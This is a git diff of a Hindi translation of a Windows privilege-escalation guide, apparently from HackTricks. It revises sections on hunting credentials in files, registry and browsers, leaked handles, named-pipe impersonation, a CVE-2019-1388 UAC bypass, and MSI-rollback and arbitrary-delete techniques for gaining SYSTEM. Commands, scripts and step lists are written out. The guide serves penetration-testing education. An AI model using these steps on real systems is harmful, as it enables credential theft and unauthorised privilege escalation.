https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll" @@ -1173,13 +1189,13 @@ Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAct ``` ### RecycleBin में Credentials -आपको Bin को भी चेक करना चाहिए ताकि उसके अंदर credentials मिल सकें +आपको Bin को भी जांचना चाहिए और इसके अंदर credentials के लिए देखना चाहिए -कई प्रोग्राम्स द्वारा सहेजे गए पासवर्डों को **पुनर्प्राप्त** करने के लिए आप उपयोग कर सकते हैं: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) +कई प्रोग्रामों द्वारा सेव किए गए **पासवर्डों को पुनर्प्राप्त** करने के लिए आप उपयोग कर सकते हैं: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) -### रजिस्ट्री के अंदर +### Registry के अंदर -**अन्य संभावित रजिस्ट्री कुंजियाँ जिनमें credentials हो सकते हैं** +**अन्य संभावित registry keys जिनमें credentials हो सकते हैं** ```bash reg query "HKCU\Software\ORL\WinVNC3\Password" reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s @@ -1188,12 +1204,12 @@ reg query "HKCU\Software\OpenSSH\Agent\Key" ``` [**Extract openssh keys from registry.**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) -### ब्राउज़र इतिहास +### ब्राउज़र्स का इतिहास -आपको उन dbs को चेक करना चाहिए जहाँ **Chrome or Firefox** के passwords स्टोर होते हैं.\ -ब्राउज़रों के history, bookmarks और favourites भी चेक करें — हो सकता है कुछ **passwords** वहाँ स्टोर हों। +आपको उन dbs की जाँच करनी चाहिए जहाँ **Chrome या Firefox** के पासवर्ड स्टोर किए जाते हैं।\ +ब्राउज़र के इतिहास, बुकमार्क और पसंदीदा (favourites) भी जांचें क्योंकि शायद कुछ **पासवर्ड** वहाँ स्टोर हों। -ब्राउज़र से passwords निकालने के लिए टूल: +Tools to extract passwords from browsers: - Mimikatz: `dpapi::chrome` - [**SharpWeb**](https://github.com/djhohnstein/SharpWeb) @@ -1202,51 +1218,50 @@ reg query "HKCU\Software\OpenSSH\Agent\Key" ### **COM DLL Overwriting** -**Component Object Model (COM)** Windows operating system के भीतर बनी एक तकनीक है जो अलग-अलग भाषाओं में लिखे सॉफ़्टवेयर कंपोनेंट्स के बीच **intercommunication** की अनुमति देती है। प्रत्येक COM component को **class ID (CLSID)** के माध्यम से पहचाना जाता है और प्रत्येक component अपनी functionality एक या अधिक interfaces के माध्यम से एक्सपोज़ करता है, जिन्हें interface IDs (IIDs) द्वारा चिन्हित किया जाता है। +**Component Object Model (COM)** Windows ऑपरेटिंग सिस्टम में बनी एक तकनीक है जो विभिन्न भाषाओं के सॉफ़्टवेयर कंपोनेंट्स के बीच आपस में संचार (intercommunication) की अनुमति देती है। प्रत्येक COM component को **identified via a class ID (CLSID)** के माध्यम से पहचाना जाता है और प्रत्येक component एक या अधिक interfaces के माध्यम से functionality प्रदर्शित करता है, जिन्हें interface IDs (IIDs) द्वारा पहचाना जाता है। -COM classes और interfaces registry में **HKEY\CLASSES\ROOT\CLSID** और **HKEY\CLASSES\ROOT\Interface** के अंतर्गत परिभाषित होते हैं। यह registry **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** को merge करके बनाई जाती है = **HKEY\CLASSES\ROOT.** +COM classes और interfaces registry में **HKEY\CLASSES\ROOT\CLSID** और **HKEY\CLASSES\ROOT\Interface** के अंतर्गत परिभाषित होते हैं। यह registry **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** को मर्ज करके बनाई जाती है = **HKEY\CLASSES\ROOT.** -इस registry के CLSIDs के अंदर आप child registry **InProcServer32** पाएँगे जो एक **default value** रखती है जो किसी **DLL** की ओर इशारा करती है और एक value **ThreadingModel** होती है जो **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single or Multi) या **Neutral** (Thread Neutral) हो सकती है। +इस registry के CLSIDs के अंदर आप child registry **InProcServer32** पाएँगे जिसमें एक **default value** होती है जो एक **DLL** की ओर इशारा करती है और एक value होती है जिसका नाम **ThreadingModel** होता है जो **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single or Multi) या **Neutral** (Thread Neutral) हो सकती है। ![](<../../images/image (729).png>) -सार रूप में, यदि आप किसी भी ऐसे **DLLs को overwrite कर सकें** जो execute होने वाले हैं, तो अगर वह DLL किसी अलग user द्वारा execute किया जाता है तो आप **अनुमतियाँ बढ़ा सकते हैं**। - -To learn how attackers use COM Hijacking as a persistence mechanism check: +Basically, if you can **overwrite any of the DLLs** that are going to be executed, you could **escalate privileges** if that DLL is going to be executed by a different user. +जानने के लिए कि attackers COM Hijacking को persistence mechanism के रूप में कैसे उपयोग करते हैं, देखें: {{#ref}} com-hijacking.md {{#endref}} -### **Generic Password search in files and registry** +### **फाइलों और रजिस्ट्री में सामान्य पासवर्ड खोज** -**फ़ाइल सामग्री के लिए खोज करें** +**फाइल की सामग्री खोजें** ```bash cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt findstr /si password *.xml *.ini *.txt *.config findstr /spin "password" *.* ``` -**किसी निश्चित फ़ाइलनाम वाली फ़ाइल खोजें** +**किसी विशेष फ़ाइलनाम वाली फ़ाइल खोजें** ```bash dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* where /R C:\ user.txt where /R C:\ *.ini ``` -**registry में key names और passwords खोजें** +**रजिस्ट्री में कुंजी नाम और पासवर्ड खोजें** ```bash REG QUERY HKLM /F "password" /t REG_SZ /S /K REG QUERY HKCU /F "password" /t REG_SZ /S /K REG QUERY HKLM /F "password" /t REG_SZ /S /d REG QUERY HKCU /F "password" /t REG_SZ /S /d ``` -### Tools जो passwords खोजते हैं +### Passwords खोजने वाले उपकरण -[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **is a msf** plugin मैंने बनाया है। यह plugin victim के अंदर **automatically execute every metasploit POST module that searches for credentials** को चलाने के लिए है।\ -[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) automatically इस पेज में उल्लिखित passwords वाले सभी files खोजता है।\ -[**Lazagne**](https://github.com/AlessandroZ/LaZagne) system से password extract करने के लिए एक और बेहतरीन tool है। +[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **is a msf** plugin। मैंने यह plugin बनाया है ताकि यह **automatically execute every metasploit POST module that searches for credentials** लक्षित सिस्टम के अंदर चला सके।\ +[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) इस पेज में बताए गए उन सभी फाइलों को स्वचालित रूप से खोजता है जिनमें passwords होते हैं।\ +[**Lazagne**](https://github.com/AlessandroZ/LaZagne) सिस्टम से password निकालने के लिए एक और बढ़िया टूल है। -The tool [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) उन कई tools के **sessions**, **usernames** और **passwords** खोजता है जो यह data clear text में save करते हैं (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP) +यह टूल [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) उन कई टूल्स के **sessions**, **usernames** और **passwords** खोजता है जो यह डेटा clear text में सेव करते हैं (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP) ```bash Import-Module path\to\SessionGopher.ps1; Invoke-SessionGopher -Thorough @@ -1255,30 +1270,30 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss ``` ## Leaked Handlers -कल्पना करें कि **SYSTEM के रूप में चल रहा एक process एक नया process खोलता है** (`OpenProcess()`) और उसे **full access** मिलता है। वही process **एक नया process भी बनाता है** (`CreateProcess()`) जो **low privileges के साथ होता है लेकिन main process के सभी open handles inherit कर लेता है**.\ -यदि आपके पास **low privileged process पर full access** है, तो आप `OpenProcess()` से बनाए गए privileged process के **open handle** को पकड़कर उसमें **shellcode inject** कर सकते हैं.\ +Imagine that **a process running as SYSTEM open a new process** (`OpenProcess()`) with **full access**. The same process **also create a new process** (`CreateProcess()`) **with low privileges but inheriting all the open handles of the main process**.\ +Then, if you have **full access to the low privileged process**, you can grab the **open handle to the privileged process created** with `OpenProcess()` and **inject a shellcode**.\ [Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\ [Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). ## Named Pipe Client Impersonation -Shared memory segments, जिन्हें **pipes** कहा जाता है, process communication और data transfer की अनुमति देते हैं। +Shared memory segments, जिन्हें **pipes** कहा जाता है, process communication और data transfer को सक्षम करते हैं। -Windows एक सुविधा प्रदान करता है जिसे **Named Pipes** कहते हैं, जो unrelated processes को भी डेटा share करने की अनुमति देता है, यहाँ तक कि अलग networks पर भी। यह client/server आर्किटेक्चर जैसा है, जिसमें रोल्स **named pipe server** और **named pipe client** होते हैं। +Windows एक फीचर प्रदान करता है जिसे **Named Pipes** कहा जाता है, जो unrelated processes को डेटा share करने की अनुमति देता है, यहाँ तक कि अलग नेटवर्क्स पर भी। यह client/server आर्किटेक्चर जैसा दिखता है, जिसमें भूमिकाएँ **named pipe server** और **named pipe client** के रूप में परिभाषित होती हैं। -जब कोई **client** pipe के माध्यम से डेटा भेजता है, तो pipe सेटअप करने वाला **server** उस **client** की identity लेने (impersonate) की क्षमता रखता है, बशर्ते उसके पास आवश्यक **SeImpersonate** rights हों। किसी ऐसे **privileged process** की पहचान करना जो pipe के माध्यम से communicate करता है जिसे आप mimic कर सकते हैं, यह मौका देता है कि जब वह उस pipe के साथ interact करे जो आपने बनाया है तो आप उसकी identity अपनाकर **higher privileges प्राप्त** कर सकें। ऐसे attack को execute करने के निर्देशों के लिए मददगार गाइड [**here**](named-pipe-client-impersonation.md) और [**here**](#from-high-integrity-to-system) पर मिलते हैं। +जब कोई **client** pipe के द्वारा डेटा भेजता है, तो pipe सेट करने वाला **server** उस **client** की identity अपना सकता है, बशर्ते उसके पास आवश्यक **SeImpersonate** rights हों। किसी ऐसे **privileged process** की पहचान करना जो आपकी pipe के माध्यम से communicate करता है और जिसे आप mimic कर सकते हैं, तब आपको उस process की identity अपनाकर **higher privileges** हासिल करने का मौका देता है जब वह आपकी बनाई pipe के साथ interact करे। ऐसे हमले को क्रियान्वित करने के निर्देशों के लिए उपयोगी गाइड [**here**](named-pipe-client-impersonation.md) और [**here**](#from-high-integrity-to-system) पर मिलते हैं। -साथ ही नीचे दिया गया tool **named pipe communication को burp जैसे tool से intercept करने** की अनुमति देता है: [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **और यह tool सभी pipes को list और देख कर privescs खोजने में मदद करता है** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) +Also the following tool allows to **intercept a named pipe communication with a tool like burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **and this tool allows to list and see all the pipes to find privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) -## विविध +## Misc -### File Extensions that could execute stuff in Windows +### Windows में execute कर सकने वाले File Extensions -Check out the page **[https://filesec.io/](https://filesec.io/)** +इस पेज को देखें **[https://filesec.io/](https://filesec.io/)** -### **Monitoring Command Lines for passwords** +### **पासवर्ड के लिए Command Lines की निगरानी** -जब user के रूप में shell मिलता है, तो हो सकता है कि scheduled tasks या अन्य processes चल रहे हों जो **credentials को command line पर पास करते हैं**। नीचे दिया गया script हर दो सेकंड में process command lines capture करता है और वर्तमान state को पिछले state से compare कर के किसी भी difference को output करता है। +जब user के रूप में shell मिलता है, तो scheduled tasks या अन्य processes हो सकते हैं जो **credentials को command line पर पास करते हैं**। नीचे दिया गया script हर दो सेकंड में process के command lines को capture करता है और वर्तमान स्थिति की तुलना पिछली स्थिति से करता है, तथा किसी भी अंतर को output करता है। ```bash while($true) { @@ -1288,15 +1303,15 @@ $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine Compare-Object -ReferenceObject $process -DifferenceObject $process2 } ``` -## प्रक्रियाओं से पासवर्ड चुराना +## प्रोसेस से पासवर्ड चुराना -## Low Priv User से NT\AUTHORITY SYSTEM तक (CVE-2019-1388) / UAC Bypass +## कम-प्रिविलेज उपयोगकर्ता से NT\AUTHORITY SYSTEM (CVE-2019-1388) तक / UAC Bypass -यदि आपके पास graphical interface (via console या RDP) तक पहुँच है और UAC सक्षम है, तो Microsoft Windows के कुछ संस्करणों में कम-प्रिविलेज उपयोगकर्ता से "NT\AUTHORITY SYSTEM" जैसे टर्मिनल या कोई अन्य process चलाना संभव है। +यदि आपके पास ग्राफिकल इंटरफ़ेस (console या RDP के माध्यम से) तक पहुँच है और UAC सक्षम है, तो Microsoft Windows के कुछ संस्करणों में किसी कम-प्रिविलेज उपयोगकर्ता से एक टर्मिनल या कोई अन्य process जैसे "NT\AUTHORITY SYSTEM" चलाना संभव है। -यह एक ही vulnerability के साथ एक ही समय में privileges escalate करने और UAC को bypass करने की अनुमति देता है। इसके अतिरिक्त, कुछ भी install करने की जरूरत नहीं है और प्रक्रिया के दौरान उपयोग किया गया binary Microsoft द्वारा signed और issued किया गया है। +यह एक ही vulnerability के साथ privileges escalate करने और UAC bypass करने की अनुमति देता है। इसके अलावा, कुछ भी install करने की आवश्यकता नहीं है और प्रक्रिया के दौरान उपयोग किया गया binary Microsoft द्वारा signed और issued है। -प्रभावित सिस्टमों में से कुछ निम्नलिखित हैं: +प्रभावित सिस्टमों में कुछ निम्नलिखित हैं: ``` SERVER ====== @@ -1318,7 +1333,7 @@ Windows 10 1607 14393 ** link OPENED AS SYSTEM ** Windows 10 1703 15063 link NOT opened Windows 10 1709 16299 link NOT opened ``` -इस vulnerability को exploit करने के लिए, निम्नलिखित कदम उठाने आवश्यक हैं: +इस vulnerability को exploit करने के लिए, निम्नलिखित चरणों को पूरा करना आवश्यक है: ``` 1) Right click on the HHUPD.EXE file and run it as Administrator. @@ -1340,220 +1355,220 @@ You have all the necessary files and information in the following GitHub reposit https://github.com/jas502n/CVE-2019-1388 -## From Administrator Medium to High Integrity Level / UAC Bypass +## व्यवस्थापक Medium से High Integrity Level तक / UAC Bypass -Integrity Levels के बारे में जानने के लिए इसे पढ़ें: +इसे पढ़ें ताकि आप **Integrity Levels के बारे में जान सकें**: {{#ref}} integrity-levels.md {{#endref}} -फिर UAC और UAC bypasses के बारे में जानने के लिए इसे पढ़ें: +फिर **इसे पढ़ें ताकि आप UAC और UAC bypasses के बारे में जान सकें:** {{#ref}} ../authentication-credentials-uac-and-efs/uac-user-account-control.md {{#endref}} -## From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP +## Arbitrary Folder Delete/Move/Rename से SYSTEM EoP तक -यह तकनीक मूलतः [**इस ब्लॉग पोस्ट**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) में वर्णित है और इसका exploit code [**यहाँ उपलब्ध है**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). +The technique described [**in this blog post**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) with a exploit code [**available here**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). -हमला मूलतः Windows Installer के rollback फीचर का दुरुपयोग करके uninstall प्रक्रिया के दौरान वैध फाइलों को malicious फाइलों से बदलने पर आधारित है। इसके लिए attacker को एक **malicious MSI installer** बनाना होगा जो `C:\Config.Msi` फ़ोल्डर को hijack करने के लिए इस्तेमाल किया जाएगा, जिसे बाद में Windows Installer uninstall के दौरान rollback फाइलें स्टोर करने के लिए उपयोग करेगा जहाँ rollback फाइलों को malicious payload शामिल करने के लिए संशोधित किया गया होगा। +यह हमला मूल रूप से Windows Installer की rollback विशेषता का दुरुपयोग करके मान्य फाइलों को अनइंस्टॉलेशन प्रक्रिया के दौरान खराब फाइलों से बदलने पर आधारित है। इसके लिए attacker को एक **malicious MSI installer** बनाना होगा जो `C:\Config.Msi` फ़ोल्डर को hijack करने के लिए उपयोग किया जाएगा, जिसे बाद में Windows Installer अन्य MSI पैकेजों के अनइंस्टॉलेशन के दौरान rollback फाइलें स्टोर करने के लिए उपयोग करेगा जहाँ rollback फाइलों को malicious payload रखने के लिए संशोधित किया गया होगा। -संक्षेप में तकनीक इस प्रकार है: +सारांशित तकनीक निम्नानुसार है: 1. **Stage 1 – Preparing for the Hijack (leave `C:\Config.Msi` empty)** - Step 1: Install the MSI -- एक `.msi` बनाएं जो writable फ़ोल्डर (`TARGETDIR`) में एक harmless फ़ाइल (जैसे, `dummy.txt`) install करे। -- Installer को **"UAC Compliant"** के रूप में मार्क करें, ताकि **non-admin user** इसे चला सके। -- install के बाद फ़ाइल का एक **handle** open रखें। +- एक `.msi` बनाएं जो एक harmless फ़ाइल (जैसे, `dummy.txt`) किसी writable फ़ोल्डर (`TARGETDIR`) में इंस्टॉल करे। +- इंस्टॉलर को **"UAC Compliant"** के रूप में मार्क करें, ताकि एक **non-admin user** इसे चला सके। +- इंस्टॉल के बाद फ़ाइल पर एक **handle** खुला रखें। - Step 2: Begin Uninstall - उसी `.msi` को uninstall करें। -- uninstall प्रक्रिया फाइलों को `C:\Config.Msi` में move करना शुरू कर देती है और उन्हें `.rbf` फाइलों के रूप में rename कर देती है (rollback backups)। -- जब फ़ाइल `C:\Config.Msi\.rbf` बनती है, तो पता लगाने के लिए open file handle को `GetFinalPathNameByHandle` से **poll** करें। +- uninstall प्रक्रिया फ़ाइलों को `C:\Config.Msi` में मूव करना शुरू कर देती है और उन्हें `.rbf` फ़ाइलों में rename करती है (rollback backups)। +- detect करने के लिए **open file handle** को `GetFinalPathNameByHandle` से poll करें कि कब फ़ाइल `C:\Config.Msi\.rbf` बन जाती है। - Step 3: Custom Syncing -- `.msi` में एक **custom uninstall action (`SyncOnRbfWritten`)** शामिल करें जो: -- संकेत देता है जब `.rbf` लिखा गया हो। -- फिर uninstall जारी रखने से पहले किसी दूसरे event पर **wait** करता है। +- `.msi` में एक **custom uninstall action (`SyncOnRbfWritten`)** शामिल है जो: +- यह संकेत देता है कि `.rbf` लिखा जा चुका है। +- फिर uninstall जारी रखने से पहले किसी अन्य event पर **wait** करता है। - Step 4: Block Deletion of `.rbf` -- संकेत मिलने पर, `.rbf` फ़ाइल को `FILE_SHARE_DELETE` के बिना **open** करें — यह इसे delete किए जाने से **रोकता है**। -- फिर uninstall को पूरा होने देने के लिए **signal back** करें। -- Windows Installer `.rbf` को delete करने में विफल रहता है, और चूँकि यह सभी सामग्री को नहीं हटा पाता, **`C:\Config.Msi` remove नहीं होता**। +- संकेत मिलने पर, `.rbf` फ़ाइल को `FILE_SHARE_DELETE` के बिना खोलें — यह इसे delete होने से **रोकता** है। +- फिर uninstall के समाप्त होने के लिए **signal back** करें। +- Windows Installer `.rbf` को delete करने में असफल रहता है, और क्योंकि यह सभी contents को delete नहीं कर पाता, **`C:\Config.Msi` हटाया नहीं जाता**। - Step 5: Manually Delete `.rbf` -- आप (attacker) `.rbf` फ़ाइल को मैन्युअली delete कर देते हैं। -- अब **`C:\Config.Msi` empty है**, hijack के लिए तैयार। +- आप (attacker) `.rbf` फ़ाइल को मैन्युअली डिलीट करते हैं। +- अब **`C:\Config.Msi` खाली है**, hijack करने के लिए तैयार। -> इस बिंदु पर, `C:\Config.Msi` को delete करने के लिए **SYSTEM-level arbitrary folder delete vulnerability** को ट्रिगर करें। +> इस बिंदु पर, **SYSTEM-level arbitrary folder delete vulnerability** को trigger करें ताकि `C:\Config.Msi` delete हो जाए। 2. **Stage 2 – Replacing Rollback Scripts with Malicious Ones** - Step 6: Recreate `C:\Config.Msi` with Weak ACLs -- आप स्वयं `C:\Config.Msi` फ़ोल्डर को recreate करें। -- कमजोर DACLs सेट करें (उदाहरण: Everyone:F), और `WRITE_DAC` के साथ एक handle open रखें। +- खुद `C:\Config.Msi` फ़ोल्डर को पुनः बनाएं। +- कमजोर DACLs सेट करें (उदा., Everyone:F), और `WRITE_DAC` के साथ एक handle खुला रखें। - Step 7: Run Another Install -- `.msi` को फिर से install करें, जिसमें: +- `.msi` को फिर से इंस्टॉल करें, जिसमें: - `TARGETDIR`: Writable location. -- `ERROROUT`: एक variable जो forced failure को trigger करे। -- यह install फिर से **rollback** ट्रिगर करने के लिए उपयोग किया जाएगा, जो `.rbs` और `.rbf` पढ़ता है। +- `ERROROUT`: एक variable जो forced failure को trigger करता है। +- यह install फिर से **rollback** को ट्रिगर करने के लिए उपयोग किया जाएगा, जो `.rbs` और `.rbf` को पढ़ता है। - Step 8: Monitor for `.rbs` -- `ReadDirectoryChangesW` का उपयोग करके `C:\Config.Msi` की निगरानी करें जब तक कि कोई नया `.rbs` न दिखे। -- इसकी filename कैप्चर करें। +- `ReadDirectoryChangesW` का उपयोग करके `C:\Config.Msi` को monitor करें जब तक कि एक नई `.rbs` दिखाई न दे। +- इसकी फ़ाइल नाम कैप्चर करें। - Step 9: Sync Before Rollback -- `.msi` में एक **custom install action (`SyncBeforeRollback`)** शामिल है जो: -- `.rbs` बनते ही एक event signal करता है। +- `.msi` में एक **custom install action (`SyncBeforeRollback`)** है जो: +- जब `.rbs` बनाई जाती है तो एक event signal करता है। - फिर आगे बढ़ने से पहले **wait** करता है। - Step 10: Reapply Weak ACL - `.rbs created` event मिलने के बाद: -- Windows Installer `C:\Config.Msi` पर **strong ACLs reapply** करता है। +- Windows Installer `C:\Config.Msi` पर फिर से strong ACLs लागू कर देता है। - लेकिन चूँकि आपके पास अभी भी `WRITE_DAC` के साथ एक handle है, आप फिर से कमजोर ACLs **reapply** कर सकते हैं। -> ACLs केवल handle open पर लागू होते हैं, इसलिए आप अभी भी फ़ोल्डर में लिख सकते हैं। +> ACL केवल handle open पर लागू होते हैं, इसलिए आप अभी भी folder में लिख सकते हैं। - Step 11: Drop Fake `.rbs` and `.rbf` -- `.rbs` फ़ाइल को एक **fake rollback script** से overwrite करें जो Windows को बताए कि: -- आपकी `.rbf` फ़ाइल (malicious DLL) को एक **privileged location** (उदाहरण: `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`) में restore करना है। +- `.rbs` फ़ाइल को एक **fake rollback script** से overwrite करें जो Windows को बताता है कि: +- आपकी `.rbf` फ़ाइल (malicious DLL) को एक **privileged location** (उदा., `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`) में restore किया जाए। - आपकी fake `.rbf` छोड़ें जिसमें एक **malicious SYSTEM-level payload DLL** हो। - Step 12: Trigger the Rollback -- sync event को signal करें ताकि installer resume हो सके। -- एक **type 19 custom action (`ErrorOut`)** को इस तरह configure किया गया है कि install एक ज्ञात बिंदु पर जानबूझकर fail हो। -- इससे **rollback शुरू** हो जाता है। +- sync event को signal करें ताकि installer resume कर सके। +- एक **type 19 custom action (`ErrorOut`)**नीति के तहत install को जानबूझकर एक ज्ञात पॉइंट पर fail करने के लिए configure किया गया है। +- इससे **rollback शुरू हो जाता है**। - Step 13: SYSTEM Installs Your DLL - Windows Installer: - आपकी malicious `.rbs` पढ़ता है। -- आपके `.rbf` DLL को target स्थान में copy कर देता है। -- अब आपके पास **SYSTEM-loaded path में malicious DLL** है। +- आपकी `.rbf` DLL को target location में copy कर देता है। +- अब आपके पास एक **malicious DLL SYSTEM-loaded path में** है। - Final Step: Execute SYSTEM Code -- किसी trusted **auto-elevated binary** (उदाहरण: `osk.exe`) को चलाएँ जो आपने hijack की हुई DLL को load करे। -- **Boom**: आपका कोड **SYSTEM के रूप में execute** होता है। - +- एक भरोसेमंद **auto-elevated binary** (उदा., `osk.exe`) चलाएँ जो उस DLL को लोड करता है जिसे आपने hijack किया। +- **Boom**: आपका कोड **SYSTEM** के रूप में execute होता है। ### From Arbitrary File Delete/Move/Rename to SYSTEM EoP -मुख्य MSI rollback तकनीक (पिछली) यह मानती है कि आप एक **पूरा फ़ोल्डर** delete कर सकते हैं (उदाहरण: `C:\Config.Msi`)। लेकिन अगर आपकी vulnerability केवल **arbitrary file deletion** की अनुमति देती है तो क्या होगा? +मुख्य MSI rollback technique (पिछली तकनीक) यह मानती है कि आप एक **पूरे फोल्डर** (उदा., `C:\Config.Msi`) को delete कर सकते हैं। लेकिन अगर आपकी vulnerability केवल **arbitrary file deletion** की अनुमति देती है तो क्या होगा? -आप **NTFS internals** का शोषण कर सकते हैं: हर फ़ोल्डर के पास एक छिपा alternate data stream होता है जिसे कहा जाता है: +आप NTFS internals का दुरुपयोग कर सकते हैं: हर फ़ोल्डर में एक hidden alternate data stream होता है जिसे कहा जाता है: ``` C:\SomeFolder::$INDEX_ALLOCATION ``` -यह स्ट्रीम फ़ोल्डर के **index metadata** को संग्रहीत करती है। +यह stream फ़ोल्डर के **इंडेक्स मेटाडेटा** को स्टोर करता है। -इसलिए, यदि आप किसी फ़ोल्डर की **`::$INDEX_ALLOCATION` स्ट्रीम को डिलीट कर देते हैं**, तो NTFS फ़ाइल सिस्टम से **पूरे फ़ोल्डर को हटा देता है**। +तो, अगर आप किसी फ़ोल्डर के **`::$INDEX_ALLOCATION` stream को हटाते हैं**, NTFS फ़ाइल सिस्टम से **पूरा फ़ोल्डर हटा देता है**। -आप यह मानक फ़ाइल हटाने वाली APIs का उपयोग करके कर सकते हैं, जैसे: +आप यह काम standard file deletion APIs का उपयोग करके कर सकते हैं: ```c DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION"); ``` -> भले ही आप *file* delete API को कॉल कर रहे हों, यह **फ़ोल्डर ही डिलीट कर देता है**। +> भले ही आप एक *file* delete API कॉल कर रहे हों, यह **फ़ोल्डर को ही डिलीट कर देता है**। -### फ़ोल्डर की सामग्री हटाने से SYSTEM EoP तक -अगर आपका primitive आपको arbitrary files/folders डिलीट करने की अनुमति नहीं देता, लेकिन यह **हमलावर-नियंत्रित फ़ोल्डर की *सामग्री* को डिलीट करने की अनुमति देता है** तो क्या होगा? +### From Folder Contents Delete to SYSTEM EoP +अगर आपका primitive आपको arbitrary files/folders को हटाने की अनुमति नहीं देता, पर यह **attacker-controlled folder के *contents* को हटाने की अनुमति देता है** तो क्या होगा? -1. Step 1: एक चारा फ़ोल्डर और फ़ाइल सेटअप करें -- बनाएँ: `C:\temp\folder1` -- इसके अंदर: `C:\temp\folder1\file1.txt` +1. Step 1: Setup a bait folder and file +- Create: `C:\temp\folder1` +- Inside it: `C:\temp\folder1\file1.txt` -2. Step 2: `file1.txt` पर एक **oplock** रखें -- यह **निष्पादन को रोक देता है** जब कोई privileged process `file1.txt` को डिलीट करने की कोशिश करता है। +2. Step 2: Place an **oplock** on `file1.txt` +- यह oplock उस समय **execution रोक देता है** जब कोई privileged process `file1.txt` को delete करने की कोशिश करता है। ```c // pseudo-code RequestOplock("C:\\temp\\folder1\\file1.txt"); WaitForDeleteToTriggerOplock(); ``` -3. चरण 3: SYSTEM प्रक्रिया ट्रिगर करें (उदा., `SilentCleanup`) -- यह प्रक्रिया फ़ोल्डरों को स्कैन करती है (उदा., `%TEMP%`) और उनकी सामग्री को हटाने की कोशिश करती है। -- जब यह `file1.txt` तक पहुँचती है, तो **oplock triggers** और नियंत्रण आपके callback को सौंप देती है। +3. चरण 3: SYSTEM प्रक्रिया को ट्रिगर करें (उदाहरण: `SilentCleanup`) +- यह प्रक्रिया फ़ोल्डरों (जैसे कि `%TEMP%`) को स्कैन करती है और उनकी सामग्री को हटाने का प्रयास करती है। +- जब यह `file1.txt` तक पहुँचती है, तो **oplock ट्रिगर होता है** और नियंत्रण आपके callback को सौंप देता है। -4. चरण 4: oplock callback के अंदर – हटाने को पुनर्निर्देशित करें +4. चरण 4: oplock callback के अंदर — हटाने को पुनर्निर्देशित करें -- विकल्प A: `file1.txt` को कहीं और ले जाएँ -- यह `folder1` को खाली कर देता है बिना oplock तोड़े। -- `file1.txt` को सीधे हटाएँ नहीं — इससे oplock समय से पहले रिलीज़ हो जाएगा। +- विकल्प A: `file1.txt` को कहीं और स्थानांतरित करें +- यह `folder1` को बिना oplock तोड़े खाली कर देता है। +- `file1.txt` को सीधे न हटाएँ — इससे oplock समयपूर्वक मुक्त हो जाएगा। - विकल्प B: `folder1` को **junction** में बदलें: ```bash # folder1 is now a junction to \RPC Control (non-filesystem namespace) mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control ``` -- विकल्प C: `\RPC Control` में एक **symlink** बनाएं: +- विकल्प C: `\RPC Control` में **symlink** बनाएं: ```bash # Make file1.txt point to a sensitive folder stream CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION") ``` -> यह NTFS internal stream को लक्षित करता है जो फ़ोल्डर मेटाडेटा संग्रहीत करता है — इसे हटाने पर फ़ोल्डर भी हट जाएगा। +> यह NTFS की आंतरिक स्ट्रीम को निशाना बनाता है जो फ़ोल्डर मेटाडेटा को स्टोर करती है — इसे डिलीट करने से फ़ोल्डर डिलीट हो जाता है। -5. चरण 5: oplock को रिलीज़ करें -- SYSTEM process जारी रहता है और `file1.txt` को हटाने की कोशिश करता है। -- लेकिन अब, junction + symlink के कारण, यह वास्तव में हटाया जा रहा है: +5. चरण 5: oplock जारी करें +- SYSTEM प्रक्रिया जारी रहती है और `file1.txt` को डिलीट करने की 